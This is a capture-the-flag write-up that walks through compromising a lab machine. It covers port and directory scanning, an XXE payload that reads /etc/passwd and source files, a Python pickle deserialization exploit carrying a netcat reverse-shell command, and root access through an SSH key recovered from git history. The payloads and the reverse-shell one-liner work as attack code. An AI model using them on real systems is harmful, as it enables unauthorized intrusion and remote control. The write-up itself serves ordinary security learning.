I'm a bit late to the party on this one, but as the box has some interesting techniques involving XXE and a python pickle RCE vulnerability, I figured I would write it up just for my own notes.


So let's get started with our nmap scam.

$ nmap -sC -sV -p- -oA nmap/scan

Not too much going on here. Just SSH and a Python web-server running on port 5000.

As we have no ssh credentials, lets take a look at the web-server.

Not a huge amount of information here, but one thing to note; the index page we are seeing is called feed.py.

There is no functionality to the page, and the blog feed it is showing is just an image, so lets fire up gobuster and see if we can find anything else.

$ gobuster -u -x py -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

In short order it finds a web directory called upload, which is the kind of functionality we like to take  a large poke at.


Browsing to the page shows us a form allowing us to upload an XML file. The page also kindly tells us the XML elements that the page is expecting to find in the file. Time for some XXE!

So let's craft ourselves an XML file and see what we can see.

<?xml version="1.0" ?>
<!DOCTYPE xxe [
        <!ELEMENT xxe ANY>
        <!ENTITY xxe SYSTEM "file:///etc/passwd">

Make sure you capitalise the elements the page tells you it is expecting i.e. Author etc. as if you don't you will get an internal server error.

After selecting our XML file and hitting that upload button the page displays our output.

A couple of things to note here; we now have a username - roosa and the output also helpfully tells us the filepath on the machine for the webcontent, /home/roosa/deploy/src.

There is now a shortcut we could take here and simply use our ability to read files from the server and steal roosa's SSH key, but instead we will take a look at the source code for the web pages and see if there is anything interesting there. Modifying our XML file to instead read /home/roosa/deploy/src/feed.py reveals something interesting that our gobuster scan missed; another endpoint called newpost.

And looking closer at the code for that endpoint, we see that it uses pickle and simply base 64 decodes it from the request data. As it performs no sanitisation, that means we can have some fun.

More Exploitation

Crack open your favourite code editor and lets write us some python.

import pickle
from base64 import urlsafe_b64encode

COMMAND = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f"

class PickleRCE(object):
    def __reduce__(self):
        import os
        return (os.system, (COMMAND,))
print urlsafe_b64encode(pickle.dumps(PickleRCE()))

Save it, run it, and copy the base64 encoded string it spits out, then we can craft a curl command to get us that sweet, sweet command execution.

$ curl -H "Content-Type: text" -X POST -d "Y3Bvc2l4CnN5c3RlbQpwMAooUydybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMXxuYyAxMC4xMC4xNC44IDQ0NDQgPi90bXAvZicKcDEKdHAyClJwMwou"

Make sure you have your netcat listener ready to catch the remote shell. Also note we have to set the Content-Type header to text otherwise we just get another internal server error.

Sending that off nets us our remote shell, and access to the first flag (although we could have simply used our XXE exploit to get the flag too).

Privilege Escalation

So let's start enumerating the box again from the perspective of our user shell.

Fairly quickly we notice that the bash history file is present, and contains some interesting information.

Hmm, "reverted accidental commit with proper key" looks interesting. And as we can see from surrounding commands in the history, the developer on this machine is using git for version control. Digging through the other commands in the history we soon find the location of the git repository in /home/roosa/work/blogfeed.

Navigating to that directory and running git log shows us the whole commit history. Digging through it we soon locate the hash of the commit we are interested in, which we can then use to get a look at exactly what the developer changed.

$ git show 33e87c312c08735a02fa9c796021a4a3023129ad

This shows us what is obviously a private key! So lets copy the lines that start with -, put them in a file and clean them up. Then, as the file is a key, run chmod 600 on it so that ssh won't ignore it. Then lets see if this key is for the root user on the machine.

$ ssh -i root.key [email protected]

It is! And with that we have root access and the final flag. See you next time.